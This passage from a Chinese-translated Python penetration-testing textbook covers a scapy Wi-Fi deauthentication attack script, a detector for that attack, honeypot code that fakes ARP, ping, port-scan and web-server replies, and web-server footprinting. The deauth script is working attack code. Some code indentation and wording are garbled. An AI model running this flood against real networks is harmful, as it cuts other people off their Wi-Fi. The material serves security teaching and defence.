          if ord(fm[radio_tap_lenght]) in filter_type:
      dest =fm[radio_tap_lenght+4:radio_tap_lenght+4+6].encode('hex')
            source = fm[radio_tap_lenght+4+6       :radio_tap_lenght+4+6+6].encode('hex')
            bssid = fm[radio_tap_lenght+4+6+6       :radio_tap_lenght+4+6+6+6].encode('hex')
  1. 查找 AP 的关联客户端:
      if mac_ap == source and dest not in processed_client :
        processed_client.append(dest)
  1. 查找关联客户端的探测请求帧,并从探测请求帧中提取 SSID:
      if processed_client:
        if ord(fm[radio_tap_lenght]) == 64:
          if source in processed_client:
            ssid_bit = probe_request_length+radio_tap_lenght+1
            lenght_of_ssid= ord(fm[ssid_bit])
            if lenght_of_ssid:
              print "SSID is ",       fm[ssid_bit+1:ssid_bit+1+lenght_of_ssid]
  1. 优雅地退出,请按Ctrl + C
  except KeyboardInterrupt:
    sniff.close()
    print "Bye"
    sys.exit()

  except Exception as e :
    print e

让我们运行代码。客户端必须连接到 AP 才能使代码逻辑正常工作:

前面的输出显示只有一个客户端连接到 AP。

无线攻击

到目前为止,您已经看到了各种嗅探技术,以收集信息。在本节中,您将看到无线攻击是如何发生的,这是渗透测试中非常重要的主题。

去认证(deauth)攻击

去认证帧属于管理帧的一种。当客户端希望与 AP 断开连接时,客户端发送去认证帧。AP 也以回复的形式发送去认证帧。这是正常的过程,但攻击者利用这个过程。攻击者伪造受害者的 MAC 地址,并代表受害者向 AP 发送去认证帧;因此,与客户端的连接被断开。aireplay-ng程序是执行去认证攻击的最佳工具。在本节中,您将学习如何使用 Python 执行此攻击。但是,您可以利用ssid_finder_raw.py代码的输出,因为ssid_finder_raw.py程序会写入一个文件。

现在,让我们看看以下代码:

  • 导入必要的模块和库:
      from scapy.all import *
      import shelve 
      import sys
      import os
      from threading import Thread
  • 以下代码打开wireless_data.dat文件,获取信息,并显示给用户:
      def main():
         interface = "mon0"
         s = shelve.open("wireless_data.dat")
         print "Seq", "\tBSSID\t\t", "\tChannel", "SSID"
         keys= s.keys()
         list1 = []
         for each in keys:
            list1.append(int(each))
            list1.sort()
         for key in list1:
            key = str(key)
            print key,"\t",s[key][0],"\t",s[key][1],"\t",s[key][2]
         s.close()
  • 以下代码要求用户输入 AP 序列号。如果用户想指定任何受害者,那么用户可以提供受害者机器的 MAC;否则,代码将选择广播地址:
        a = raw_input("Enter the seq number of wifi ")
        r = shelve.open("wireless_data.dat")
        print "Are you Sure to attack on ", r[a][0]," ",r[a][2]
        victim_mac = raw_input("Enter the victim MAC or for broadcast 
        press 0 \t")
        if victim_mac=='0':
          victim_mac ="FF:FF:FF:FF:FF:FF"
  • 所选 AP 正在使用的信道号;以下代码段为mon0设置相同的信道号:
        cmd1 = "iwconfig wlan1 channel "+str(r[a][1])
        cmd2 = "iwconfig mon0 channel "+str(r[a][1])
        os.system(cmd1)
        os.system(cmd2)
  • 这段代码非常容易理解。frame= RadioTap()/ Dot11(addr1=victim_mac,addr2=BSSID, addr3=BSSID)/ Dot11Deauth()语句创建去认证数据包。从本章的第一张截图中,您可以检查这些地址:
  BSSID = r[a][0]
  frame= RadioTap()/ Dot11(addr1=BSSID,addr2=victim_mac, addr3=BSSID)/ 
  Dot11Deauth()
  frame1= RadioTap()/ Dot11(addr1=victim_mac,addr2=BSSID, addr3=BSSID)/ 
  Dot11Deauth()
  • 以下代码告诉线程攻击去攻击 deauth 攻击:
  if victim_mac!="FF:FF:FF:FF:FF:FF":
    t1 = Thread(target=for_ap, args=(frame,interface))
    t1.start()
  t2 = Thread(target=for_client, args=(frame1,interface))
  t2.start()

在最后一行,sendp(frame,iface=interface, count= 1000, inter= .1)count给出发送的数据包总数,inter表示两个数据包之间的间隔:

def for_ap(frame,interface):
  while True:
    sendp(frame, iface=interface, count=20, inter=.001)

def for_client(frame,interface):
  while True:
    sendp(frame, iface=interface, count=20, inter=.001)

if __name__ == '__main__':
  main()

deauth.py程序的输出如下:

这种攻击的目的不仅是执行去认证攻击,还要检查受害者的安全系统。IDS 应该有能力检测去认证攻击。到目前为止,还没有避免攻击的方法,但可以检测到攻击。

检测 deauth 攻击

在本节中,我们将讨论如何检测去认证攻击。这类似于一个无线 IDS,它检测去认证攻击。在这个程序中,我们将找出哪些接入点收到去认证帧以及数量。我们将在这里使用原始套接字来检测攻击。

让我们讨论deauth_ids.py程序。确保监视器打开;否则,程序会报错:

  • 导入必要的模块和库:
      import socket 
      import Queue
      from threading import Thread
      from collections import Counter
  • 队列和计数器将在以后使用:
      q1 = Queue.Queue()
      co = Counter()
  • 以下代码创建并绑定原始套接字到mon0
      try:
        sniff = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, 3)
        sniff.bind(("mon0", 0x0003))
      except Exception as e :
        print e 
  • 以下函数 IDs 接收去认证帧,提取 BSSID,并将其放入全局队列中:
      def ids():
        global q1
        while True :
          fm1 = sniff.recvfrom(6000)
          fm= fm1[0]
          radio_tap_lenght = ord(fm[2])
          if ord(fm[radio_tap_lenght]) == 192:
      bssid1 = fm[radio_tap_lenght+4+6+6 :radio_tap_lenght+4+6+6+6]
      bssid = ':'.join('%02x' % ord(b) for b in bssid1)
      q1.put(bssid)
  • 以下的insert_frame函数从全局队列中获取 deauth 帧并制作一个计数器来显示它:
      def insert_frame():
        global q1
        while True:
          mac=q1.get()
          list1 = [mac]
          co.update(list1)
          print dict(co)
  • 以下代码创建了两个线程,启动了ids()insert_frame函数:
      i = Thread(target=ids)
      f = Thread(target=insert_frame)
      i.start()
      f.start()

为了执行攻击和检测,我们需要两台安装了 Linux 的机器和一个无线接入点。一台机器将进行攻击,第二台将运行我们的deauth_ids.py检测程序。

让我们讨论代码的输出。为了测试目的,运行deauth_ids.py,并从第二台机器开始 deauth 攻击:

你可以看到它不断地显示受害者 BSSID,并且它的计数器显示接收到的帧数。让我们在下文中看另一个截图:

正如你所看到的,如果攻击者改变目标,我们的程序可以检测到多个接入点上的攻击。

总结

在本章中,我们学习了关于无线帧以及如何使用 Python 脚本和 scapy 库从无线帧中获取 SSID、BSSID 和信道号等信息。我们还学习了如何将无线设备连接到 AP。在信息收集之后,我们转向了无线攻击。我们讨论的第一种攻击是 deauth 攻击,类似于 Wi-Fi 干扰器。在这种攻击中,你必须攻击无线设备并观察 AP 或入侵检测系统的反应。

在第六章中,蜜罐-为攻击者设置陷阱,您将学习如何为黑客设置陷阱,如何创建虚假回复或虚假身份。

第六章:蜜罐-为攻击者建立陷阱

在第五章中,无线渗透,您看到了各种网络攻击以及如何防范。在本章中,您将看到一些积极的方法。在第二章扫描渗透,您学习了使用 ping 扫描进行 IP 扫描以及使用 TCP 连接扫描进行端口扫描。但是当 ping 扫描和端口扫描代码给出虚假目标时会发生什么?您会尝试利用虚假目标。设置为诱使攻击者的诱饵机器记录攻击者的动作。在看到所有的技巧和攻击之后,管理员可以制定新的网络加固策略。在本章中,我们将使用 Python 代码来完成任务。

在本章中,我们将学习以下主题:

  • 伪 ARP 回复

  • 伪 ping 回复

  • 伪端口扫描回复

  • 对 nmap 的伪 OS 签名回复

  • 伪 Web 服务器回复

ARP 协议属于 TCP/IP 第 1 层,网络访问层。

技术要求

用户需要在系统上安装 Python 2.7.x。最后,要使用本书的 Git 存储库,用户需要安装 Git。

本章的代码文件可以在 GitHub 上找到:

github.com/PacktPublishing/Python-Penetration-Testing-Essentials-Second-Edition/tree/master/Chapter06

查看以下视频,以查看代码的运行情况:

goo.gl/jbgbBU

伪 ARP 回复

在本节中,我们将学习如何发送伪 ARP 回复。伪 ARP 回复程序是为了伪 ping 回复而制作的,因为当攻击者向特定 IP 发送 ping 请求时,攻击者机器首先发送 ARP 请求以获取 MAC 地址。

当攻击者在蜜罐的子网上或子网外时,蜜罐将发送伪回复。让我们看看拓扑图:

我使用了三台机器:运行蜜罐代码的 Debian,作为网关的 RHEL,以及作为攻击者机器的 Kali Linux。

让我们看看伪回复代码。代码名称是arp_reply.py

  • 代码将使用以下模块:
      import socket
      import struct
      import binascii
      import Queue
      import threading
      import sys
  • 在以下代码中,创建了两个套接字。一个用于接收器,一个用于发送回复数据包。创建了一个全局队列Q,如下所示:
      mysocket = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 
      socket.ntohs(0x0806))
      mysocket_s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 
      socket.ntohs(0x0806))
      mysocket_s.bind(('eth0',socket.htons(0x0806)))

      Q = Queue.Queue()
  • 以下函数接收传入的帧。arp_l = struct.unpack("!2s2sss2s6s4s6s4s",arp_h)代码解包 ARP 数据包,if arp_l[4] == '\x00\x01':语法只广播 ARP 数据包。Q.put([eth,arp_l])语法将数据包放入全局队列Q中,如下所示:
      def arp_receiver():
        while True:
          pkt = mysocket.recvfrom(1024)
          ethhead = pkt[0][0:14]
          eth = struct.unpack("!6s6s2s",ethhead)
          binascii.hexlify(eth[2])
          arp_h = pkt[0][14:42]
          arp_l = struct.unpack("!2s2sss2s6s4s6s4s",arp_h)
          if arp_l[4] == '\x00\x01':
            Q.put([eth,arp_l])
  • 以下函数从全局队列获取 ARP 数据包。该函数从用户提供的命令行参数中获取 MAC(当前机器 MAC)。在形成以太网和 ARP 数据包之后,mysocket_s.send(target_packet)语法发送数据包,如下所示:
         def arp_sender():
            while True:
             main_list = Q.get()
             eth_header = main_list[0]
             arp_packet = main_list[1]
             mac_sender = sys.argv[1].decode('hex')
             eth1 = eth_header[1]+mac_sender+eth_header[-1]
             arp1 = "".join(arp_packet[0:4])
             arp1 = arp1+'\x00\x02'+mac_sender+   
             arp_packet[-1]+arp_packet[5]+arp_packet[6]
             target_packet = eth1+arp1
             mysocket_s.send(target_packet)
  • 以下代码创建了两个线程,以并行方式运行接收器和发送器函数:
      r = threading.Thread(target=arp_receiver)
      s = threading.Thread(target=arp_sender)
      r.start()
      s.start()

在运行代码之前,使用以下命令:

iptables -A OUTPUT -o eth0 -j DROP

前面的命令禁用了内置的 TCP/IP 回复,因为现在我们的程序将发送回复。

让我们在 Debian 机器上使用以下命令来运行代码:

python arp_reply.py <mac of machine>

在我的机器上,我已经给出如下:

python arp_reply.py 000c29436fc7

现在arp_reply代码正在运行。现在我们必须运行会给出伪 ping 回复的伪代码。

伪 ping 回复

在本节中,您将学习如何发送伪 ping 回复数据包。在伪 ping 回复代码中,我没有使用任何库。

让我们理解代码。代码名称是icmp_reply.py。为了运行代码,您需要从pypi.python.org/pypi/ping/0.2安装ping模块:

  • 代码中使用了以下模块:
      import socket
      import struct
      import binascii
      import ping
      import Queue
      import threading
      import sys
      import random
      import my_logger
  • 以下代码定义了一个队列Q和两个套接字。一个套接字将用于接收数据包,另一个将用于发送数据包:
      Q = Queue.Queue()
      IP_address = 0
      my_socket = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 
      socket.ntohs(0x0800))
      my_socket_s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 
      socket.ntohs(0x0800))
      my_socket_s.bind(('eth0',socket.htons(0x0800)))
  • 以下代码将用于计算 ICMP 回复数据包的校验和。代码非常复杂:
      def calculate_checksum(source_string):
        countTo = (int(len(source_string) / 2)) * 2
        sum = 0
        count = 0
        # Handle bytes in pairs (decoding as short ints)
        loByte = 0
        hiByte = 0
        while count < countTo:
          if (sys.byteorder == "little"):
            loByte = source_string[count]
            hiByte = source_string[count + 1]
          else:
            loByte = source_string[count + 1]
            hiByte = source_string[count]
          sum = sum + (ord(hiByte) * 256 + ord(loByte))
          count += 2

        # Handle last byte if applicable (odd-number of bytes)
        # Endianness should be irrelevant in this case
        if countTo < len(source_string): # Check for odd length
          loByte = source_string[len(source_string) - 1]
          sum += ord(loByte)

        sum &= 0xffffffff # Truncate sum to 32 bits (a variance from 
        ping.c, which # uses signed ints, but overflow is unlikely in 
        ping)
   sum = (sum >> 16) + (sum & 0xffff) # Add high 16 bits to low 16 bits
   sum += (sum >> 16) # Add carry from above (if any)
   answer = ~sum & 0xffff # Invert and truncate to 16 bits
   answer = socket.htons(answer)

   return answer
  • 以下函数用于计算 IPv4 数据包的校验和:
      def ip_checksum(ip_header, size):
        cksum = 0
        pointer = 0
        while size > 1:
          cksum += int((ip_header[pointer] + ip_header[pointer+1]),16)
          size -= 2
          pointer += 2
        if size: #This accounts for a situation where the header is odd
          cksum += ip_header[pointer]

        cksum = (cksum >> 16) + (cksum & 0xffff)
        cksum += (cksum >>16)

        check_sum1= (~cksum) & 0xFFFF
        check_sum1 = "%x" % (check_sum1,)
        return check_sum1
  • 以下函数负责为 ICMP 回复数据包创建 IPv4 头:
      def ipv4_creator(ipv4_header):
        try:
          global IP_address
          field1,ip_id,field2,ttl,protocol,checksum,ip1,ip2
          =struct.unpack("!4s2s2sss2s4s4s", ipv4_header)
          num = str(random.randint(1000,9999))
          ip_id = num.decode('hex')
          checksum = '\x00\x00'
          ipv4_new_header =   
          field1+ip_id+field2+'40'.decode('hex')+protocol+ip2+ip1
          raw_tuple =   
          struct.unpack("!ssssssssssssssssss",ipv4_new_header) 
          # for checksum
          header_list= [each.encode('hex') for each in raw_tuple]
          check_sum= str(ip_checksum(header_list, len(header_list)))
          ipv4_new_header =   
          field1+ip_id+field2+'40'.decode('hex')+protocol
          +check_sum.decode('hex')+ip2+ip1
          if IP_address != ip1:
          my_logger.logger.info(socket.inet_ntoa(ip1))

          IP_address = ip1
          return ipv4_new_header
        except Exception as e :
          my_logger.logger.error(e)
  • 以下函数生成 ICMP 回复数据包。在ipv4_creatoricmp_creator函数中,我使用了不同的方法来添加字段。您可以使用任何您喜欢的方法。在IPv4_creator函数中,我使用ipv4_new_header = field1+ip_id+field2+'40'.decode('hex')+protocol+check_sum.decode('hex')+ip2+ip1来添加字段,在icmp_creator中,我使用struct.pack来形成数据包:
      def icmp_creator(icmp_header,icmp_data):
      try:
       dest_addr=""
       ICMP_REPLY = 0
       seq_number = 0
       identifier =0
       header_size = 8
       packet_size = 64
       type1, code, checksum, packet_id, seq_number =  
       struct.unpack("!BBHHH", icmp_header)
       cal_checksum = 0
       header = struct.pack("!BBHHH", ICMP_REPLY, 0, cal_checksum, 
       packet_id ,seq_number )
       cal_checksum = calculate_checksum(header +icmp_data)
       header = struct.pack("!BBHHH", ICMP_REPLY, 0, cal_checksum, 
       packet_id, seq_number )
       packet = header + icmp_data
       return packet
        except Exception as e :
          my_logger.logger.error(e)
  • 以下函数创建了以太网头:
      def ethernet_creator(eth_header):
        eth1,eth2,field1 = struct.unpack("!6s6s2s",eth_header)
        eth_header = eth2+eth1+field1
        return eth_header
  • 以下代码接收传入的请求数据包。为简单起见,我为 IPv4 头部取了 20 个字节:
      def receiver_icmp():
        while True:
          try:
            received_packet, addr = my_socket.recvfrom(1024)
            protocol_type = received_packet[23] 
            icmp_type = received_packet[34]
            protocol_type=struct.unpack("!B",protocol_type)[0]
            icmp_type = struct.unpack("!B",icmp_type)[0]
            if protocol_type==1 and icmp_type==8:
              eth_header = received_packet[0:14]
              ipv4_header = received_packet[14:34]
              icmpHeader = received_packet[34:42]
              icmp_data = received_packet[42:]
        data_tuple1 = (eth_header, ipv4_header, icmpHeader,icmp_data)
        Q.put(data_tuple1)
             except Exception as e :
               my_logger.logger.error(e)

  • 以下函数发送 ICMP 回复数据包:
      def sender_icmp():
        while True:
          try:
            data_tuple1 = Q.get()
            icmp_packet = icmp_creator(data_tuple1[2],data_tuple1[3])
            ipv4_packet = ipv4_creator(data_tuple1[1])
            eth_packet = ethernet_creator(data_tuple1[0])
            frame = eth_packet+ipv4_packet+icmp_packet
            my_socket_s.send(frame)
          except Exception as e :
            my_logger.logger.error(e)
  • 以下代码创建了两个线程,分别运行接收和发送函数:
      r = threading.Thread(target=receiver_icmp)
      s = threading.Thread(target=sender_icmp)
      r.start()
      s.start()

现在编码部分已经完成,请运行code icmp_reply.py。请确保arp_reply正在运行。要测试代码,只需从 Kali Linux ping 不同的 IP,如下图所示:

前面的输出显示代码运行正常。让我们使用第二章中的ping_sweep_send_rec.py代码进行测试,扫描渗透测试。请参阅以下屏幕截图:

我们正在为 100 个 IP 获得虚假回复。我们的下一个目标是给传输层提供虚假回复。

虚假端口扫描回复

在本节中,我们将看看如何在 TCP 层给出虚假回复。程序将对打开的端口给出虚假回复。对于这段代码,我们将使用 scapy 库,因为 TCP 头部非常复杂。程序名称是tcp_trap.py

  • 使用以下库和模块:
      import socket
      import struct
      import binascii
      import Queue
      from scapy.all import *
      import threading
  • 已创建原始套接字以接收传入数据包,如下所示:
      my_socket = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 8)
      Q = Queue.Queue()
  • 以下函数接收传入的 TCP/IP 数据包。很多行已经在第三章,嗅探和渗透测试中讨论过。if(D_port==445D_port==135D_port==80):语法表明我们只对端口44513580感兴趣:
      def receiver():
        while True:
        try:
         pkt = my_socket.recvfrom(2048)
         num=pkt[0][14].encode('hex')
         ip_length = (int(num)%10)*4
         ip_last_range = 14+ip_length
         ipheader = pkt[0][14:ip_last_range]
         ip_hdr = struct.unpack("!8sBB2s4s4s",ipheader)
         S_ip =socket.inet_ntoa(ip_hdr[4])
         D_ip =socket.inet_ntoa(ip_hdr[5])
         tcpheader = pkt[0][ip_last_range:ip_last_range+20]
         tcp_hdr = struct.unpack("!HHL4sBB6s",tcpheader)
         S_port = tcp_hdr[0]
         D_port = tcp_hdr[1]
         SQN = tcp_hdr[2]
         flags = tcp_hdr[5]
            if (D_port==445 or D_port==135 or D_port==80):
              tuple1 = (S_ip,D_ip,S_port,D_port,SQN,flags)
              Q.put(tuple1)

          except Exception as e:
            print e
  • 以下函数发送 TCP SYN,ACK 标志启用的响应,端口为445135,端口80发送 RST,ACK 标志:
      def sender(): 
      while True:
        d_ip,s_ip,d_port,s_port,SQN,flag = Q.get()

        if (s_port==445 or s_port==135) and (flag==2):
        SQN= SQN+1
        print flag,"*"*100
        packet  
        =IP(dst=d_ip,src=s_ip)/TCP(dport=d_port,sport=s_port,
        ack=SQN,flags="SA",window=64240, 
            options=[('MSS',1460),("WScale",3)])
            #packet 
        =IP(dst=d_ip,src=s_ip)/TCP(dport=d_port,sport=s_port,
        ack=SQN,flags="SA")
          else :
            SQN= SQN+1
            packet 
        =IP(dst=d_ip,src=s_ip)/TCP(dport=d_port,sport=s_port,
        ack=SQN,seq=SQN,flags="RA",window=0) 
          send(packet) 
  • 以下代码指示了线程的创建,一个用于处理接收函数,另外三个用于处理发送函数:
      r = threading.Thread(target=receiver)
      r.start()

      for each in xrange(3):
        s = threading.Thread(target=sender)
        s.start()

由于 scapy,库代码变得非常简短。现在运行tcp_trap.py代码。确保arp_reply.pyicmp_reply.py代码也在运行。

从攻击者那里,机器运行nmap;请参阅以下屏幕截图:

在前面的输出中,我们使用了nmapportscanner_15.py第二章扫描渗透测试)。nmap和 Python 代码都使用了三次握手过程。输出显示端口135445是打开的。

nmap 的虚假 OS 签名回复

在本节中,我们将创建一个虚假的 OS 签名。通过使用以下nmap,我们可以识别受害者机器的操作系统:

nmap -O <ip-address>nmap发送七个 TCP/IP 精心制作的数据包,并使用自己的 OS 签名数据库评估响应。有关更多详细信息,您可以阅读nmap.org/misc/defeat-nmap-osdetect.html网页。

nmap需要至少一个开放和一个关闭的端口来识别操作系统。同样,我们将使用之前的所有代码。端口445135作为开放端口,80作为关闭端口。

让我们运行nmap,如下截图所示:

它给出了不同的操作系统,而不是 Debian。通过学习nmap操作系统检测算法,您可以使代码变得更加复杂。

虚假的 Web 服务器回复

在本节中,您将学习如何创建一个虚假的 Web 服务器签名。这是应用层代码。本节的代码与之前的代码无关。为了获取服务器签名或横幅抓取,我将使用 ID Servetool。

让我们看看fake_webserver.py代码:

  • 在程序中使用以下模块。logger1模块用于创建日志文件。稍后您将看到logger1的代码:
   from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
   import logger1
  • 仔细看以下代码片段。fakewebserver类继承自BaseHTTPRequestHandler类。send_response方法覆盖了BaseHTTPRequestHandler类的方法,因为我们将我们的自定义消息发送为self.send_header('Server', "mohit``raj")log_date_time_stringsend_header方法以及client_address实例变量都是从BaseHTTPRequestHandler类继承的。在这里,我将mohit raj服务器名称发送为:
      class fakewebserver(BaseHTTPRequestHandler):

      def send_response(self, code, message=None): #overriding

        self.log_request(code)
        if message is None:
            if code in self.responses:
                message = self.responses[code][0]
            else:
                message = ''
        if self.request_version != 'HTTP/0.9':
            self.wfile.write("%s %d %s\r\n" %
                             (self.protocol_version, code, message))

        self.send_header('Server', "mohit raj")
        self.send_header('Tip',"Stay away")
        self.send_header('Date', self.date_time_string())
        str1 = self.client_address[0]+" -- 
        "+self.log_date_time_string()
        logger1.logger.info(str1)
  • 以下方法发送标头和响应代码:
    def _set_headers(self):
        self.send_response(200)
        self.end_headers()
  • 当收到GET请求时,将调用以下方法:
    def do_GET(self):
        self._set_headers()
        self.wfile.write("<html><body><h1>hi!</h1></body></html>")
  • 当收到HEAD请求时,将调用以下方法:
    def do_HEAD(self):
        self._set_headers()
  • 以下用于传入的POST请求:
    def do_POST(self):
        self._set_headers()
        self.wfile.write("<html><body><h1>POST!</h1></body></html>")
  • 以下函数用于启动服务器。将使用端口80serve_forever方法处理请求,直到收到显式的shutdown()请求。该方法是从SocketServer.BaseServer类继承的:
      def start(port=80):
          server_address = ('', port)
          httpd = HTTPServer(server_address, fakewebserver)
          print 'Starting Server...'
          httpd.serve_forever()

在另一台机器上运行代码。我正在使用 Windows 10 来运行代码。从第二台计算机上,使用工具 ID 服务器来查找服务器签名。我得到了以下输出:

从输出中,我们可以说我们的代码运行正常。因此,您可以编写自己的消息。

让我们看看logger1的代码:

import logging
logger = logging.getLogger("honeypot")
logger.setLevel(logging.INFO)
fh = logging.FileHandler("live1.log")
formatter = logging.Formatter('%(levelname)s - %(message)s')
fh.setFormatter(formatter)
logger.addHandler(fh)

上面的代码创建了一个日志文件,告诉我们传入请求的客户端地址。

查看live1.log文件的输出,如下截图所示:

总结

在本章中,您学会了如何发送虚假的 ICMP(ping)回复。为了发送 ICMP 回复,必须运行 ARP 协议。通过同时运行这两个代码,它们在网络层上创建了一种错觉。但是,在运行代码之前,必须设置防火墙以丢弃传出帧。在传输层,进行了两个实验:虚假的端口开放和虚假的操作系统运行。通过更多了解nmap,可以创建特定操作系统的准确虚假响应。在应用层,Python Web 服务器代码提供了一个虚假的服务器签名。您可以根据自己的需要更改服务器签名。

在第七章中,足迹打印 Web 服务器和 Web 应用程序,您将学习如何足迹打印 Web 服务器。您还将学习如何获取 HTTP 的标头和横幅抓取

第七章:足迹定位 Web 服务器和 Web 应用程序

到目前为止,我们已经阅读了与数据链路层到传输层相关的四章内容。现在,我们将转向应用层渗透测试。在本章中,我们将讨论以下主题:

  • 足迹定位 Web 服务器的概念

  • 引入信息收集

  • HTTP 头检查

  • 通过 BeautifulSoup 解析器从 smartwhois.com 获取网站的信息收集

  • 网站的横幅抓取

  • Web 服务器的加固

足迹定位 Web 服务器的概念

渗透测试的概念不能用单一步骤来解释或执行,因此它被分成了几个步骤。足迹定位是渗透测试的第一步,攻击者试图收集有关目标的信息。在今天的世界中,电子商务正在迅速增长。因此,Web 服务器已成为黑客的主要目标。为了攻击 Web 服务器,我们必须首先了解什么是 Web 服务器。我们还需要了解 Web 服务器托管软件、托管操作系统以及 Web 服务器上运行的应用程序。获取这些信息后,我们可以构建我们的攻击。获取这些信息被称为足迹定位 Web 服务器。

引入信息收集

在这一部分,我们将尝试通过使用错误处理技术来获取有关 Web 软件、操作系统和运行在 Web 服务器上的应用程序的信息。从黑客的角度来看,从错误处理中获取信息并不那么有用。然而,从渗透测试人员的角度来看,这非常重要,因为在提交给客户的渗透测试最终报告中,您必须指定错误处理技术。

错误处理背后的逻辑是尝试在 Web 服务器中产生一个返回代码404的错误,并查看错误页面的输出。我编写了一个小代码来获取输出。我们将逐行查看以下代码:

import re
import random
import urllib
url1 = raw_input("Enter the URL ")
u = chr(random.randint(97,122))
url2 = url1+u
http_r = urllib.urlopen(url2)

content= http_r.read()flag =0
i=0
list1 = []
a_tag = "<*address>"
file_text = open("result.txt",'a')

while flag ==0:
  if http_r.code == 404:
    file_text.write("--------------")
    file_text.write(url1)
    file_text.write("--------------n")

    file_text.write(content)
    for match in re.finditer(a_tag,content):

      i=i+1
      s= match.start()
      e= match.end()
      list1.append(s)
      list1.append(e)
    if (i>0):
      print "Coding is not good"
    if len(list1)>0:
      a= list1[1]
      b= list1[2]

      print content[a:b]
    else:
      print "error handling seems ok"
    flag =1
  elif http_r.code == 200:
    print "Web page is using custom Error page"
    break

我导入了三个模块,rerandomurllib,它们分别负责正则表达式、生成随机数和与 URL 相关的活动。url1 = raw_input("Enter the URL ")语句要求输入网站的 URL,并将此 URL 存储在url1变量中。然后,u = chr(random.randint(97,122))语句创建一个随机字符。下一条语句将此字符添加到 URL 中,并将其存储在url2变量中。然后,http_r = urllib.urlopen(url2)语句打开url2页面,并将此页面存储在http_r变量中。content= http_r.read()语句将网页的所有内容传输到 content 变量中:

flag =0
i=0
list1 = []
a_tag = "<*address>"
file_text = open("result.txt",'a')

上述代码片段定义了i变量标志和一个空列表,我们将在后面讨论它的重要性。a_tag变量取值为"<*address>"file_text变量是一个打开result.txt文件的文件对象,以附加模式打开。result.txt文件存储了结果。while flag ==0:语句表示我们希望while循环至少运行一次。http_r.code语句从 Web 服务器返回状态代码。如果页面未找到,它将返回404代码。

file_text.write("--------------")
file_text.write(url1)
file_text.write("--------------n")

file_text.write(content)

上述代码片段将页面的输出写入result.txt文件。

for match in re.finditer(a_tag,content):语句找到a_tag模式,这意味着错误页面中的<address>标签,因为我们对<address> </address>标签之间的信息感兴趣。s= match.start()e= match.end()语句表示<address>标签的起点和终点,list1.append(s)list1.append(e)语句将这些点存储在列表中,以便以后使用。i变量变得大于0,这表明错误页面中存在<address>标签。这意味着代码不好。if len(list1)>0:语句表示如果列表至少有一个元素,则变量ab将成为关注点。下图显示了这些关注点:

获取地址标签值

print content[a:b]语句读取ab点之间的输出,并设置flag = 1以终止while循环。elif http_r.code == 200:语句表示如果 HTTP 状态码为200,则将打印"Web page is using custom Error page"消息。在这种情况下,如果错误页面返回代码200,则意味着错误正在由自定义页面处理。

现在是时候运行输出了,我们将运行两次。

服务器签名打开和关闭时的输出:

程序的两个输出

前面的屏幕截图显示了服务器签名打开时的输出。通过查看此输出,我们可以说 Web 软件是 Apache,版本是 2.2.3,操作系统是 Red Hat。在下一个输出中,服务器没有来自服务器的信息,这意味着服务器签名已关闭。有时候,有人使用 Web 应用程序防火墙,例如 mod-security,它会提供一个虚假的服务器签名。在这种情况下,您需要检查result.txt文件以获取完整的详细输出。让我们检查result.txt的输出,如下图所示:

结果.txt 的输出

当有多个 URL 时,您可以列出所有这些 URL 并将它们提供给程序,这个文件将包含所有 URL 的输出。

检查 HTTP 头

通过查看网页的头部,您可以获得相同的输出。有时,服务器错误输出可以通过编程进行更改。但是,检查头部可能会提供大量信息。一小段代码可以给您一些非常详细的信息,如下所示:

import urllib
url1 = raw_input("Enter the URL ")
http_r = urllib.urlopen(url1)
if http_r.code == 200:
  print http_r.headers

print http_r.headers语句提供了 Web 服务器的头部。

输出如下:

获取头部信息

您会注意到我们从程序中获得了两个输出。在第一个输出中,我们输入了http://www.juggyboy.com/作为 URL。程序提供了许多有趣的信息,例如Server: Microsoft-IIS/6.0X-Powered-By: ASP.NET;它推断出网站托管在 Windows 机器上,Web 软件是 IIS 6.0,并且 ASP.NET 用于 Web 应用程序编程。

在第二个输出中,我提供了我的本地机器的 IP 地址,即http://192.168.0.5/。程序揭示了一些秘密信息,例如 Web 软件是 Apache 2.2.3,运行在 Red Hat 机器上,并且 PHP 5.1 用于 Web 应用程序编程。通过这种方式,您可以获取有关操作系统、Web 服务器软件和 Web 应用程序的信息。

现在,让我们看看如果服务器签名关闭会得到什么输出:

当服务器签名关闭时

从前面的输出中,我们可以看到 Apache 正在运行。但是,它既没有显示版本,也没有显示操作系统。对于 Web 应用程序编程,使用了 PHP,但有时输出不会显示编程语言。为此,您必须解析网页以获取任何有用的信息,比如超链接。

如果您想获取标题的详细信息,请打开标题目录,如下面的代码所示:

 >>> import urllib
  >>> http_r = urllib.urlopen("http://192.168.0.5/")
  >>> dir(http_r.headers)
  ['__contains__', '__delitem__', '__doc__', '__getitem__', '__init__', '__iter__', '__len__', 
 '__module__', '__setitem__', '__str__', 'addcontinue', 'addheader', 'dict', 'encodingheader', 'fp', 
 'get',  'getaddr', 'getaddrlist', 'getallmatchingheaders', 'getdate', 'getdate_tz', 'getencoding', 
 'getfirstmatchingheader', 'getheader', 'getheaders', 'getmaintype', 'getparam', 'getparamnames', 
 'getplist', 'getrawheader', 'getsubtype', 'gettype', 'has_key', 'headers', 'iscomment', 'isheader', 
 'islast', 'items', 'keys', 'maintype', 'parseplist', 'parsetype', 'plist', 'plisttext', 'readheaders', 
 'rewindbody', 'seekable', 'setdefault', 'startofbody', 'startofheaders', 'status', 'subtype', 'type', 
 'typeheader', 'unixfrom', 'values']
  >>> 
  >>> http_r.headers.type
  'text/html'
  >>> http_r.headers.typeheader
  'text/html; charset=UTF-8'
 >>>

从 whois.domaintools.com 获取网站信息

假设您想从网页中获取所有超链接。在这一部分,我们将通过编程来实现这一点。另一方面,也可以通过查看网页源代码来手动完成。但是,那将需要一些时间。

所以让我们来了解一个非常漂亮的解析器叫做 lxml。

让我们看看代码:

  • 将使用以下模块:
      from lxml.html import fromstring
      import requests
  • 当您输入所需的网站时,request模块获取网站的数据:
      domain = raw_input("Enter the domain : ")
      url = 'http://whois.domaintools.com/'+domain
      user_agent='wswp'
      headers = {'User-Agent': user_agent}
      resp = requests.get(url, headers=headers)
      html = resp.text
  • 以下代码片段从网站数据中获取表格:
      tree = fromstring(html)
      ip= tree.xpath('//*[@id="stats"]//table/tbody/tr//text()')
